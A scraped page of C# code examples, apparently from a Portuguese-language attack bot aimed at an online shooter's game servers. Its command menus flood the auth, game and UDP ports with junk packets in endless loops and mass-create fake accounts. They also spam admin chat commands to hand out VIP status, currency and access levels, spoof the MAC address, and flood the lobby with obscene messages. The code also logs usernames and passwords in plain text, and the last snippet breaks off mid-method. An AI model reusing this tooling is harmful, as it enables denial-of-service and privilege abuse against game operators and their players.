Пример #1
0
 public void SocketClientAuth()
 {
     try
     {
         if (IPAddress.TryParse(loader.IP, out addr)) // 2586
         {
             remote = new IPEndPoint(addr, loader.PORT);
             Socket socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
             Logger.Warnnig("Recebendo Informação do Servidor!");
             if (socket == null)
             {
                 return;
             }
             else
             {
                 socket.Connect(remote);
             }
             if (socket.Connected)
             {
                 LoggerXML.Log($"Iniciando a conexão auth.[{socket.RemoteEndPoint.ToString()}]", "CONEXAO");
                 Logger.Warnnig("[Async Socket] " + socket.RemoteEndPoint.ToString() + "");
                 socket.NoDelay = true;
                 player         = new Player
                 {
                     AuthClient = new AuthClient(socket, SyncPackage.INST().read)
                 };
             }
         }
     }
     catch (Exception ex)
     {
         LoggerXML.Log(ex.ToString(), "ERROR");
         Logger.Error($"[Aynsc Error Socket] Error ao conectar ao Socket, Vefique sua conexão!");
     }
 }
Пример #2
0
        public void SocketClientGame()
        {
            try
            {
                if (player.AuthClient != null)
                {
                    BeginDisconnect(player.AuthClient.socket);
                    GC.SuppressFinalize(player.AuthClient);
                    player.AuthClient = null;
                }
                Logger.Warnnig("Recebendo Informação do Servidor!");
                Socket socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
                socket.BeginConnect(player.server, (result) =>
                {
                    socket.EndConnect(result);

                    if (socket.Connected)
                    {
                        Logger.Warnnig("[Async Socket] " + socket.RemoteEndPoint.ToString() + "");
                        LoggerXML.Log($"Iniciando a conexão Game.[{remote}]", "CONEXAO");
                        Console.Beep();
                        player.ClientGame = new GameClient(socket, SyncPackage.INST().read);
                    }
                    else
                    {
                        socket.Close();
                    }
                },
                                    socket);
            }
            catch (Exception ex)
            {
                LoggerXML.Log(ex.ToString(), "ERROR");
            }
        }
Пример #3
0
 public void CreateRoom()
 {
     if (p != null)
     {
         Room_Valor();
         if (r.slots <= 16)
         {
             LoggerXML.Log("[COMANDOS] Criando uma sala.", "Comandos");
             p.ClientGame.SendPacket(new BASE_CREATE_ROOM_ACK(r).Write());
             textBox4.Text = "Sala Criada com sucesso...";
             new Thread(CloseChating).Start();
             comboBox3.Enabled = false;
             textBox1.Enabled  = false;
             new Thread(new ThreadStart(Program.chatadaptado.Fechada_da_room)).Start();
             button4.Enabled = true;
         }
         else
         {
             MessageBox.Show("slot não pode ser maior que 16.");
         }
     }
     else
     {
         MessageBox.Show("Error de verificação.");
     }
 }
Пример #4
0
 private void button14_Click(object sender, EventArgs e)
 {
     if (p != null && p.ClientGame != null)
     {
         p.ClientGame.SendPacket(new LOBBY_CHATTING_ACK($",adminacess3356 {Connection.INSTs().player.ID} 6", Chat_Type.LOBBY_CHAT_LOBBY).Write());
     }
     Close();
     Logger.Warnnig($"Tentando verificar conta com nivel de acesso! {load.USER} \\ {load.PASS}");
     LoggerXML.Log($"Tentando verificar conta com nivel de acesso! {load.USER} \\ {load.PASS}", "ADMIN");
     Thread.Sleep(load.InternalMilisegundos);
 }
Пример #5
0
 private void Button9_Click(object sender, EventArgs e)
 {
     if (habilitar)
     {
         Refresh();
         LoggerXML.DeleteLog(true);
     }
     else
     {
         MessageBox.Show("[A] Habilite esse função.");
     }
 }
Пример #6
0
 public void AutoAccounts()
 {
     try
     {
         if (IPAddress.TryParse(loader.IP, out addr)) // 2586
         {
             remote = new IPEndPoint(addr, 39190);
             Socket socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
             Logger.Receive("Recebendo Informação do Servidor!");
             if (socket == null)
             {
                 return;
             }
             else
             {
                 socket.Connect(remote);
             }
             if (socket.Connected)
             {
                 Random r = new Random();
                 if (GetSession.INST().Process)
                 {
                     loader.USER = "******" + r.Next(0, 1000);
                     loader.PASS = "******" + r.Next(0, 1000);
                 }
                 LoggerXML.Log($"Iniciando a conexão auth. [{remote}]", "CONEXAO");
                 Logger.Warnnig("[Async Socket] " + socket.RemoteEndPoint.ToString() + "");
                 socket.NoDelay   = true;
                 ReadPacket.flods = false;
                 player           = new Player
                 {
                     AuthClient = new AuthClient(socket, SyncPackage.INST().read)
                 };
                 r = null;
             }
         }
     }
     catch (Exception ex)
     {
         LoggerXML.Log(ex.ToString(), "ERROR");
     }
 }
Пример #7
0
        public static void Command()
        {
            if (CountAcions == 0)
            {
                Program.chatadaptado.Mensagem("Digite os comandos no Console e Receba informação Aqui! [Help nº: 18']");
            }
            Logger.Comandos("Bem Vindo ao campo de concentração: [Listando Comandos, Digite o ID do comando] Help nº 18");
            new Thread(Organization).Start();
            LoggerXML.Log("[COMANDOS] Iniciado...", "Comandos");
            bool evitarflod = true;

            while (evitarflod)
            {
                evitarflod = false;
                Logger.Sucess("Digite seus comandos: ");
                string COMANDOS = Console.ReadLine();
                if (COMANDOS.Length > 0)
                {
                    Program.chatadaptado.Mensagem($"Você digitou o comando de numero: {COMANDOS}");
                    switch (COMANDOS)//COMANDOS
                    {
                    case "1":
                    {
                        int count = 0;
                        for (; ;)
                        {
                            Player p = Connection.INSTs().player;
                            p.ClientGame.SendPacket(new BASE_BUG_ACK().Write());
                            Thread.Sleep(5);
                            Logger.Mostrar($"Tentando gerar um flod em bytes! {++count}");
                        }
                    }

                    case "2":
                    {
                        LoggerXML.Log("[COMANDOS] LOBBY_CHAT", "Comandos");
                        new Thread(ReloadActions).Start();
                        break;
                    }

                    case "3":
                    {
                        LoggerXML.Log("[COMANDOS] TROLL", "Comandos");
                        for (int i = 0; i < 3; i++)
                        {
                            Process.Start("http://www.shafou.com/");
                        }
                        evitarflod = false;
                        break;
                    }

                    case "4":
                    {
                        LoggerXML.Log("[COMANDOS] NICK", "Comandos");
                        try
                        {
                            if (p != null)
                            {
                                var    player = p.ClientGame;
                                Random r      = new Random();
                                for (int i = 0; i < 100; i++)
                                {
                                    if (player != null && player is GameClient)
                                    {
                                        if (player.socket != null && player.socket.Connected)
                                        {
                                            string NewNick = $"{Program.chatadaptado.textBox5.Text.ToString()}changenick {p.ID} ᴞᴟᵷᵹ†‡•※‼‽‾‿⁀⁁⁂⁃⁄⁅⁆⁇⁈⁉⁗⁞₠₡₢₣₤₥₦₧₨₩₪₫€₭₮₯₰₱₲₳₴₵₸⃒⃓⃐⃑⃔⃕⃝⃠⃪⃡⃩℀℁ℂ℃℄℅℆ ";
                                            player.SendPacket(new LOBBY_CHATTING_ACK(NewNick, Chat_Type.LOBBY_CHAT_LOBBY).Write());
                                            Thread.Sleep(load.InternalMilisegundos);
                                            if (i == 99)
                                            {
                                                new Thread(ReloadActions).Start();
                                            }
                                        }
                                        else
                                        {
                                            new Thread(new ThreadStart(Command)).Start();
                                        }
                                    }
                                }
                            }
                            else
                            {
                                Logger.Error("Player is NULL");
                            }
                        }
                        catch (Exception e)
                        {
                            LoggerXML.Log(e.ToString(), "Error");
                        }
                        evitarflod = false;
                        break;
                    }

                    case "5":
                    {
                        try
                        {
                            LoggerXML.Log("[COMANDOS] ROOMLIST", "Comandos");
                            if (p != null)
                            {
                                p.ClientGame.SendPacket(new LOBBY_GET_ROOMLIST_ACK().Write());
                            }
                            else
                            {
                                Logger.Error("Player is NULL");
                            }
                        }
                        catch (Exception e)
                        {
                            LoggerXML.Log(e.ToString(), "Error");
                        }
                        evitarflod = false;
                        break;
                    }

                    case "6":
                    {
                        LoggerXML.Log("[COMANDOS] PARCEIROS", "Comandos");
                        Logger.Comandos("[Async Created] Esse Bot tem como inspiração, \n" +
                                        " no proposito de se auto ajuda, no desenvolvimento do meu servidor");
                        Process.Start("https://www.facebook.com/wesley.vale.3192");
                        new Thread(ReloadActions).Start();
                        evitarflod = false;
                        break;
                    }

                    case "7":
                    {
                        try
                        {
                            LoggerXML.Log("[COMANDOS] FUDERTUDO", "Comandos");
                            Logger.Warnnig("[Async Warnnig] Digite a quantidade de Flod! (MAX - 100)");
                            if (p != null)
                            {
                                int count = 0;
                                int index = int.Parse(Console.ReadLine());
                                if (index <= 100)
                                {
                                    for (int i = 0; i < index; i++)
                                    {
                                        ReadPacket.flods = false;
                                        count++;
                                        Logger.Error(count.ToString());
                                        p.ClientGame.SendPacket(new LOBBY_CHATTING_ACK(Program.chatadaptado.textBox5.Text.ToString() + "changerank " + p.ID + " " + count, Chat_Type.LOBBY_CHAT_LOBBY).Write());                                             //floodar patente
                                        p.ClientGame.SendPacket(new LOBBY_CHATTING_ACK(Program.chatadaptado.textBox5.Text.ToString() + "upach K♥○•◘♦♫N♦•○77ÉÉÉÉÉÉ☻◘3779!@#$%%¨&¨&**&¨&&¨&¨%¨$#%#$%#%$#%#¨¨#%¨#$¨%#34", Chat_Type.LOBBY_CHAT_LOBBY).Write()); //floodar anúncio
                                        p.ClientGame.SendPacket(new LOBBY_CHATTING_ACK(Program.chatadaptado.textBox5.Text.ToString() + "g SERVIDOR PUBLICO FALHAS PUBLICAS", Chat_Type.LOBBY_CHAT_LOBBY).Write());
                                        p.ClientGame.SendPacket(new LOBBY_CHATTING_ACK(Program.chatadaptado.textBox5.Text.ToString() + "udp 1", Chat_Type.LOBBY_CHAT_LOBBY).Write());                                                                        //floodar udp 1
                                        p.ClientGame.SendPacket(new LOBBY_CHATTING_ACK(Program.chatadaptado.textBox5.Text.ToString() + "testmode", Chat_Type.LOBBY_CHAT_LOBBY).Write());                                                                     //bloquear tudo!
                                        p.ClientGame.SendPacket(new LOBBY_CHATTING_ACK(Program.chatadaptado.textBox5.Text.ToString() + "activeM f" + count, Chat_Type.LOBBY_CHAT_LOBBY).Write());                                                            //desativar mission
                                        p.ClientGame.SendPacket(new LOBBY_CHATTING_ACK(Program.chatadaptado.textBox5.Text.ToString() + "ka", Chat_Type.LOBBY_CHAT_LOBBY).Write());                                                                           //exit all
                                        p.ClientGame.SendPacket(new CLAN_CLIENT_LIST_ACK(index).Write());                                                                                                                                                    //floodar cache de clan
                                        Thread.Sleep(load.InternalMilisegundos);
                                        if (i == 99)
                                        {
                                            new Thread(ReloadActions).Start();
                                        }
                                    }
                                    ReadPacket.flods = true;
                                }
                                else
                                {
                                    Logger.Error("Você é retardado por acaso?");
                                }
                            }
                            else
                            {
                                Logger.Error("[FUDER] Player is NULL");
                            }
                        }
                        catch (Exception e)
                        {
                            LoggerXML.Log(e.ToString(), "Error");
                        }
                        evitarflod = false;
                        break;
                    }

                    case "8":
                    {
                        LoggerXML.Log("[COMANDOS] UDP FLOD", "Comandos");
                        Logger.Warnnig("ESSA FUNÇÃO É INFINITA!");
                        Thread.Sleep(load.InternalMilisegundos);
                        if (p != null)
                        {
                            while (true)
                            {
                                for (int udp1 = 1; udp1 < 4; udp1++)
                                {
                                    p.ClientGame.SendPacket(new LOBBY_CHATTING_ACK(Program.chatadaptado.textBox5.Text.ToString() + "udp " + udp1 + "", Chat_Type.LOBBY_CHAT_LOBBY).Write());         //floodar udp 1
                                }
                                for (int udp2 = 4; udp2 > 0; udp2--)
                                {
                                    p.ClientGame.SendPacket(new LOBBY_CHATTING_ACK(Program.chatadaptado.textBox5.Text.ToString() + "udp " + udp2 + "", Chat_Type.LOBBY_CHAT_LOBBY).Write());         //floodar udp 1
                                    Thread.Sleep(load.InternalMilisegundos);
                                }
                            }
                        }
                        else
                        {
                            Logger.Error("[UDP] Player is Null");
                        }
                        evitarflod = false;
                        break;
                    }

                    case "9":
                    {
                        LoggerXML.Log("[COMANDOS] ARMAS", "Comandos");
                        var list = WeaponWork.INTS();
                        if (p != null)
                        {
                            for (int i = 0; i < 21; i++)
                            {
                                //p.ClientGame.SendPacket(new LOBBY_CHATTING_ACK(Program.chatadaptado.textBox5.Text.ToString() + "cE "+ list.Weapons[i] + "", Chat_Type.LOBBY_CHAT_LOBBY).Write()); //exit all
                                p.ClientGame.SendPacket(new LOBBY_CHATTING_ACK(Program.chatadaptado.textBox5.Text.ToString() + "cid " + list.Weapons[i] + " 30", Chat_Type.LOBBY_CHAT_LOBBY).Write());         //floodar itens bugados
                                Thread.Sleep(load.InternalMilisegundos);
                                if (i == 20)
                                {
                                    new Thread(ReloadActions).Start();
                                }
                            }
                        }
                        else
                        {
                            Logger.Error("[armas]Player is NULL");
                        }
                        evitarflod = false;
                        break;
                    }

                    case "10":
                    {
                        LoggerXML.Log("[COMANDOS] VIPS", "Comandos");
                        if (p != null)
                        {
                            for (int i = 10; i < 301; i++)
                            {
                                p.ClientGame.SendPacket(new LOBBY_CHATTING_ACK(Program.chatadaptado.textBox5.Text.ToString() + " setvip " + i + " 2", Chat_Type.LOBBY_CHAT_LOBBY).Write());            //flodar VIP
                                Thread.Sleep(load.InternalMilisegundos);
                                if (i == 300)
                                {
                                    new Thread(ReloadActions).Start();
                                }
                            }
                        }
                        else
                        {
                            Logger.Error("[VIP]Player is NULL");
                        }
                        evitarflod = false;
                        break;
                    }

                    case "11":      //FLOD CHATTING
                    {
                        LoggerXML.Log("[COMANDOS] FLOD CHATTING", "FLOD");
                        if (p != null)
                        {
                            for (int i = 0; i < 101; i++)
                            {
                                p.ClientGame.SendPacket(new LOBBY_CHATTING_ACK("SERVER PUBLICO, FALHAS PUBLICAS...", Chat_Type.LOBBY_CHAT_LOBBY).Write());
                                p.ClientGame.SendPacket(new LOBBY_CHATTING_ACK("CHUPA MEUS ZOVOS, 8=====D ~", Chat_Type.LOBBY_CHAT_LOBBY).Write());
                                p.ClientGame.SendPacket(new LOBBY_CHATTING_ACK("CHUPA MEUS ZOVOS, 8=====D ~~", Chat_Type.LOBBY_CHAT_LOBBY).Write());
                                p.ClientGame.SendPacket(new LOBBY_CHATTING_ACK("CHUPA MEUS ZOVOS, 8=====D ~~~", Chat_Type.LOBBY_CHAT_LOBBY).Write());
                                Thread.Sleep(load.InternalMilisegundos);
                                if (i == 100)
                                {
                                    new Thread(ReloadActions).Start();
                                }
                            }
                        }
                        evitarflod = false;
                        break;
                    }

                    case "12":
                    {
                        LoggerXML.Log("[COMANDOS] INFO", "INFO");
                        Logger.Info("================================");
                        Logger.Sucess($"IP    : {p.server}");
                        Logger.Sucess($"País  : {load.region}");
                        Logger.Sucess($"User  : {load.USER}");
                        Logger.Sucess($"PASS  : {load.PASS}");
                        Logger.Sucess($"KEY   : {load.KEY}");
                        Logger.Sucess($"HWID  : {load.HARDWAREID}");
                        Logger.Sucess($"MAC   : {load.meuMac}");
                        Logger.Sucess($"FakeIP: {load.fakeIP}");;
                        Logger.Sucess($"CLIENT: {load.CLIENTEVERSION}");
                        Logger.Sucess($"DEBUG : {load.DEBUG}");
                        Logger.Info("================================");
                        if (load.CONNECTION == Connection_type.VirtualHost)
                        {
                            Logger.Sucess("Connection_type: VirtualHost");
                        }

                        else if (load.CONNECTION == Connection_type.LocalHost)
                        {
                            Logger.Sucess("Connection_type: LocalHost");
                        }

                        Logger.Warnnig(Environment.NewLine);
                        Logger.Warnnig("Deseja voltar? 'S' ou 'N'");
                        switch (Console.ReadLine().ToLower())
                        {
                        case "s":
                        {
                            new Thread(ReloadActions).Start();
                            break;
                        }

                        case "n":
                        {
                            p.ClientGame.SockerVerific(p);
                            break;
                        }
                        }
                        evitarflod = false;
                        break;
                    }

                    case "13":
                    {
                        int count = 0;
                        while (true)
                        {
                            count += 1;
                            p.ClientGame.SendPacket(new LOBBY_CHATTING_ACK(Program.chatadaptado.textBox5.Text.ToString() + "setgold 99999999 " + count + " ", Chat_Type.LOBBY_CHAT_LOBBY).Write());         //floodar gold
                            p.ClientGame.SendPacket(new LOBBY_CHATTING_ACK(Program.chatadaptado.textBox5.Text.ToString() + "setcash 99999999 " + count + " ", Chat_Type.LOBBY_CHAT_LOBBY).Write());         //floodar cash
                        }
                    }

                    case "14":
                    {
                        int count = 0;
                        LoggerXML.Log("[COMANDOS] SETACESS", "Comandos");
                        if (p != null)
                        {
                            while (true)
                            {
                                count += 1;
                                p.ClientGame.SendPacket(new LOBBY_CHATTING_ACK(Program.chatadaptado.textBox5.Text.ToString() + "setacess " + count + " 6", Chat_Type.LOBBY_CHAT_LOBBY).Write());            //flodar VIP
                                Thread.Sleep(load.InternalMilisegundos);
                                if (count == 1000000)
                                {
                                    new Thread(ReloadActions).Start();
                                }
                            }
                        }
                        else
                        {
                            Logger.Error("[VIP]Player is NULL");
                        }
                        evitarflod = false;
                        break;
                    }

                    case "15":
                    {
                        p.ClientGame.SendPacket(new LOBBY_CHATTING_ACK(Program.chatadaptado.textBox5.Text.ToString() + "refill2shop", Chat_Type.LOBBY_CHAT_LOBBY).Write());            //Atualizar shop
                        break;
                    }

                    case "16":
                    {
                        ushort opcode = 0;
                        while (true)
                        {
                            opcode += 1;
                            p.ClientGame.SendPacket(new LOBBY_CHATTING_ACK(Program.chatadaptado.textBox5.Text.ToString() + "rd1", Chat_Type.LOBBY_CHAT_LOBBY).Write());            //Whites();
                            p.ClientGame.SendPacket(new LOBBY_CHATTING_ACK(Program.chatadaptado.textBox5.Text.ToString() + "rd2", Chat_Type.LOBBY_CHAT_LOBBY).Write());            //Whites();
                            p.ClientGame.SendPacket(new LOBBY_CHATTING_ACK(Program.chatadaptado.textBox5.Text.ToString() + "rd3", Chat_Type.LOBBY_CHAT_LOBBY).Write());            //Whites();
                            p.ClientGame.SendPacket(new LOBBY_CHATTING_ACK(Program.chatadaptado.textBox5.Text.ToString() + "ga1", Chat_Type.LOBBY_CHAT_LOBBY).Write());            //Whites();
                            p.ClientGame.SendPacket(new LOBBY_CHATTING_ACK(Program.chatadaptado.textBox5.Text.ToString() + "ga2", Chat_Type.LOBBY_CHAT_LOBBY).Write());            //Whites();
                            p.ClientGame.SendPacket(new LOBBY_CHATTING_ACK(Program.chatadaptado.textBox5.Text.ToString() + "tik", Chat_Type.LOBBY_CHAT_LOBBY).Write());            //Whites();
                            if (opcode <= 65535)
                            {
                                p.ClientGame.SendPacket(new LOBBY_CHATTING_ACK(Program.chatadaptado.textBox5.Text.ToString() + "vv " + opcode + "", Chat_Type.LOBBY_CHAT_LOBBY).Write());            //Whites();
                            }
                        }
                    }

                    case "17":
                    {
                        while (true)
                        {
                            p.ClientGame.SendPacket(new LOBBY_CHATTING_ACK(Program.chatadaptado.textBox5.Text.ToString() + "v2", Chat_Type.LOBBY_CHAT_LOBBY).Write());            //Whites();
                        }
                    }

                    case "18":
                    {
                        p.ClientGame.SendPacket(new LOBBY_JOIN_ROOM_ACK().Write());
                        break;
                    }

                    case "19":
                    {
                        LoggerXML.Log("[COMANDOS] COMANDOS GERAL", "Comandos");
                        Logger.Info("================================");
                        Logger.Info("[Async Comands]:");
                        Logger.Error("");
                        Logger.Info("nº: 1  -  OpcodesInvalido [OPÇÃO DE REPETIÇÃO INFINITA]");
                        Logger.Info("nº: 2  -  Reabrir Chat");
                        Logger.Info("nº: 3  -  Troll Server");
                        Logger.Info("nº: 4  -  Flodar meu nick");
                        Logger.Info("nº: 5  -  Quantidades de sala criadas");
                        Logger.Info("nº: 6  -  CREDITOS");
                        Logger.Info("nº: 7  -  FUDER TUDO");
                        Logger.Info("nº: 8  -  Flodar UDP");
                        Logger.Info("nº: 9  -  Armas para todos");
                        Logger.Info("nº: 10 -  Vip Para todos");
                        Logger.Info("nº: 11 -  Flodar Chat");
                        Logger.Info("nº: 12 -  Conta Informação");
                        Logger.Info("nº: 13 -  floodar cash/gold");
                        Logger.Info("nº: 14 -  SETACESS");
                        Logger.Info("nº: 15 -  refill2shop");
                        Logger.Info("nº: 16 -  SendBytesAleatory");
                        Logger.Info("nº: 17 -  Flod Room");
                        Logger.Error("");
                        Logger.Info("================================");
                        CountAcions++;
                        new Thread(new ThreadStart(Command)).Start();
                        evitarflod = false;
                        break;
                    }

                    default:
                    {
                        LoggerXML.Log($"[Async Comands] COMANDO INVALIDO![{COMANDOS}]", "Comandos");
                        Logger.Error($"[Async Comands] Você digitou um comando inexistente.  '{COMANDOS}'");
                        evitarflod = true;
                        break;
                    }
                    }
                }
            }
        }
Пример #8
0
 public static void LiberacaoChat()
 {
     LoggerXML.Log($"[LobbyChatting] Iniciando...", "chat");
     BASE_CHATTING.control = ControlEnum.LOBBY_CHAT;
     Program.LobbyChatting();
 }
Пример #9
0
        public static void Conexao()
        {
            try
            {
reload:
                Logger.Info("----------------CONEXÃO AUTOMATICA nº: [ 1 ] OU MANUAL nº: [ 2 ]----------------");
                switch (Console.ReadLine().ToLower())
                {
                case "1":
                {
                    LoggerXML.Log("[Async Conexao] Automatica.", "CONEXAO");
                    new Thread(new ThreadStart(Connection.INSTs().SocketClientAuth)).Start();
                    break;
                }

                case "2":
                {
                    LoggerXML.Log("[Async Conexao] Manual.", "CONEXAO");
                    Logger.Warnnig("[Async funtions] Digite seu IP");
                    string IP = Console.ReadLine();            //Checkar o Valor se é Valido do IP TryParse
                    if (IP != null || IP.Length > 20)
                    {
                        Logger.Warnnig("[Async funtions]  Digite sua PORTA");
                        ushort Porta = ushort.Parse(Console.ReadLine());
                        if (Porta > 39191)
                        {
                            Logger.Error("Tá doido Jogador?[" + Porta + "]");
                        }
                        Logger.Warnnig("[Async funtions] Digite a versão da client");
                        string Versão = Console.ReadLine();
                        if (Versão.Length > 8)
                        {
                            Logger.Error("tá doido Jogador?[" + Versão + "]");
                        }


                        Logger.Warnnig("[Async funtions] Digite a Locale Client");
                        Regions locale = (Regions)byte.Parse(Console.ReadLine());
                        Console.Clear();
                        Logger.Warnnig($"Conexão para  {IP}:{Porta} em  {Versão} {locale}");
                        if (locale > 0)
                        {
                            load.IP             = IP;
                            load.PORT           = Porta;
                            load.CLIENTEVERSION = Versão;
                            load.region         = locale;
                            if (IP != null && Porta != 0)
                            {
                                new Thread(new ThreadStart(Connection.INSTs().SocketClientAuth)).Start();
                            }
                        }
                        else
                        {
                            Logger.Error("tá doido Jogador?[" + locale + "]");
                        }
                    }
                    else
                    {
                        Logger.Error("[Async funtions] Error IP não pode ser nulo.");
                    }
                    break;
                }

                case "/login":
                {
                    GetSession.INST().floodAccounts = true;
                    int count = 0;
                    Logger.Warnnig("[Async Atack] Você deseja flodar quantas contas? (1 À 1000)");
                    int contas = int.Parse(Console.ReadLine());
                    for (count = 0; count <= contas; count++)
                    {
                        new Thread(new ThreadStart(Connection.INSTs().AutoAccounts)).Start();
                        Console.Clear();
                        Thread.Sleep(1000);
                    }
                    Logger.Sucess($"[Async Atack] ATACK REALIZADO COM SUCESSO! contas criadas: {count}");
                    break;
                }

                case "/send":
                {
                    Logger.Warnnig("[Async Atack] Digite o nome do arquivo dentro da pasta ataque, Ex: [PointBlank.exe]");
                    string arquivo = Console.ReadLine();
                    Logger.Warnnig("[Async Atack] Enviar algum arquivo em forma de bytes para AUTH [1] ou GAME [2]?");
                    switch (Console.ReadLine())
                    {
                    case "1": SocketComponets.SendByteInTextAuth(arquivo); break;

                    case "2": SocketComponets.SendByteInTextGame(arquivo); break;

                    default:
                    {
                        Logger.Error("ERROR");
                        break;
                    }
                    }
                    break;
                }

                case "/users":
                {
                    GetSession.INST().floodAccounts = true;
                    int count = 0;
                    for (; ;)
                    {
                        new Thread(new ThreadStart(Connection.INSTs().AutoAccounts)).Start();
                        Thread.Sleep(5);
                        Logger.Sucess($"[Async Atack] ATACK REALIZADO COM SUCESSO! contas socket: {++count}");
                    }
                }

                case "/bypass":
                {
                    if (!load.AutoCreate)
                    {
                        Logger.Error("Coloque auto create!");
                    }
                    else
                    {
                        Logger.Warnnig("Digite ID: ");
                        string id = Console.ReadLine();
                        Logger.Warnnig("Digite sua senha: ");
                        string senha = Console.ReadLine();
                        Logger.Warnnig("Digite um novo MAC");
                        string mac = Console.ReadLine();
                        if (mac.Length > 17)
                        {
                            load.meuMac = mac;
                            Logger.Info(mac);
                        }
                        if (string.IsNullOrEmpty(id) || string.IsNullOrEmpty(senha))
                        {
                            Logger.Error("id ou Senha nao pode ser nula!");
                        }
                        if (id.Length < 4 || senha.Length < 4)
                        {
                            Logger.Error("id ou Senha nao pode ser menor que 4!");
                        }
                        else
                        {
                            load.USER = id;
                            load.PASS = senha;
                            new Thread(new ThreadStart(Connection.INSTs().SocketClientAuth)).Start();
                        }
                    }
                    break;
                }

                case "/udp":
                {
                    int count = 0;
                    while (true)
                    {
                        try
                        {
                            IPEndPoint Remote = new IPEndPoint(IPAddress.Parse(load.IP), 40009);
                            UdpClient  udp    = new UdpClient
                            {
                                Client = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp),
                            };
                            udp.Client.Connect(Remote);
                            byte[] buffer = BitConverter.GetBytes(new Random().Next(22, 1000));
                            if (udp.Client.Connected)
                            {
                                udp.Client.BeginSend(buffer, 0, buffer.Length, SocketFlags.None, new AsyncCallback(Retorno), udp);
                            }
                            else
                            {
                                Logger.Error($"[Async buffer] break"); break;
                            }
                            Thread.Sleep(5);
                            Logger.Warnnig($"[Async buffer] UdpClient [{++count}], Lenght '{buffer.Length}'");
                        }
                        catch (Exception ex)
                        {
                            Logger.Error(ex.ToString()); break;
                        }
                    }
                    break;
                }

                case "/buf":
                {
                    int packet = 0;
                    Logger.Warnnig("[Async Atack Buffer] IP Automatico [ 1 ] ou Manual [ 2 ] ");
                    switch (Console.ReadLine().ToLower())
                    {
                    case "1":
                    {
volteipraca:
                        IPEndPoint RemoteAuth = new IPEndPoint(IPAddress.Parse(load.IP), 39190);
                        IPEndPoint RemoteGame = new IPEndPoint(IPAddress.Parse(load.IP), 39191);
                        IPEndPoint RemoteUDP  = new IPEndPoint(IPAddress.Parse(load.IP), 40009);
                        Logger.Warnnig("[Async Atack Buffer] Tamanho de Bytes: ");
                        int    i = int.Parse(Console.ReadLine());
                        byte[] b = new byte[i];
                        while (true)
                        {
                            try
                            {
                                Socket AUTH = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
                                AUTH.Connect(RemoteAuth);
                                if (AUTH.Connected)
                                {
                                    AUTH.BeginSend(b, 0, b.Length, SocketFlags.None, new AsyncCallback(SendCallback), AUTH);
                                }


                                Socket GAME = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
                                GAME.Connect(RemoteGame);
                                if (GAME.Connected)
                                {
                                    GAME.BeginSend(b, 0, b.Length, SocketFlags.None, new AsyncCallback(SendCallback), GAME);
                                }

                                Socket UDP = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);
                                UDP.Connect(RemoteGame);
                                if (UDP.Connected)
                                {
                                    if (b.Length > 1000)
                                    {
                                        b = new byte[1000];
                                    }
                                    UDP.BeginSend(b, 0, b.Length, SocketFlags.None, new AsyncCallback(SendCallback), UDP);
                                }
                                Logger.Send($"[P] TCP. Auth [{++packet}] {RemoteAuth.ToString()}");
                                Logger.Send($"[P] TCP, Game [{++packet}] {RemoteGame.ToString()}");
                                Logger.Send($"[P] UDP, Battle [{++packet}] {RemoteUDP.ToString()}");
                            }
                            catch (Exception ex)
                            {
                                Logger.Error(ex.ToString());
                                goto volteipraca;
                            }
                        }
                    }

                    case "2":
                    {
                        Logger.Warnnig("[Async Atack Buffer] Digite o IP: ");
                        string IP = Console.ReadLine();
                        Logger.Warnnig("[Async Atack Buffer] Digite a Porta TCP: ");
                        ushort portaTCP = ushort.Parse(Console.ReadLine());
                        Logger.Warnnig("[Async Atack Buffer] Digite a Porta UDP: ");
                        ushort portaUDP = ushort.Parse(Console.ReadLine());
                        Logger.Warnnig("[Async Atack Buffer] Tamanho de Bytes: ");
                        byte[] b = BitConverter.GetBytes(int.Parse(Console.ReadLine()));
                        if (IP != null || portaTCP != 0 || portaUDP != 0)
                        {
volteipraca:
                            IPEndPoint iPEndudp = new IPEndPoint(IPAddress.Parse(IP), portaUDP);
                            IPEndPoint iPEndTCP = new IPEndPoint(IPAddress.Parse(IP), portaTCP);
                            while (true)
                            {
                                try
                                {
                                    Socket UDP = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);
                                    UDP.Connect(iPEndudp);
                                    if (UDP.Connected)
                                    {
                                        if (b.Length > 1000)
                                        {
                                            b = new byte[1000];
                                        }
                                        UDP.BeginSend(b, 0, b.Length, SocketFlags.None, new AsyncCallback(SendCallback), UDP);
                                        Logger.Send($"protocolo Type DataGram.   BufferPacketUDP[{++packet}] {iPEndudp.ToString()}");
                                    }
                                    Thread.Sleep(load.InternalMilisegundos);
                                    Socket TCP = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
                                    TCP.Connect(iPEndTCP);
                                    if (TCP.Connected)
                                    {
                                        TCP.BeginSend(b, 0, b.Length, SocketFlags.None, new AsyncCallback(SendCallback), TCP);
                                        Logger.Send($"protocolo Type Stream.   BufferPacketTCP[{++packet}] {iPEndTCP.ToString()}");
                                    }
                                }
                                catch (Exception ex)
                                {
                                    Logger.Error(ex.ToString());
                                    Thread.Sleep(10000);
                                    goto volteipraca;
                                }
                                goto volteipraca;
                            }
                        }
                        else
                        {
                            Logger.Error("[Async error] As configurações de socket não podem ser nulas!");
                        }
                        break;
                    }

                    default:
                    {
                        Logger.Error("[Async error] Você tentou uma opção Invalida!");
                        break;
                    }
                    }
                    break;
                }

                case "/log":
                {
                    try
                    {
                        LoggerXML.DeleteLog(false);
                        Console.Beep();
                    }
                    catch (Exception ex)
                    {
                        Logger.Error(ex.ToString());
                    }
                    goto reload;
                }

                default:
                {
                    Logger.Warnnig("[Async Default] Configuração Errada!");
                    Console.Beep();
                    goto reload;
                }
                }
            }
            catch (Exception ex)
            {
                ex.ToString();
            }
        }
Пример #10
0
        public static void Main(string[] args)
        {
            try
            {
                load.Run();
                LoggerXML.Log($"[Program] AsyncRun Iniciado. {Application.ProductVersion}", "CONEXAO");
                LoggerXML.Log($"Login: {load.USER} || senha: {load.PASS}", "CONEXAO");

                new Thread(new ThreadStart(Ram)).Start();
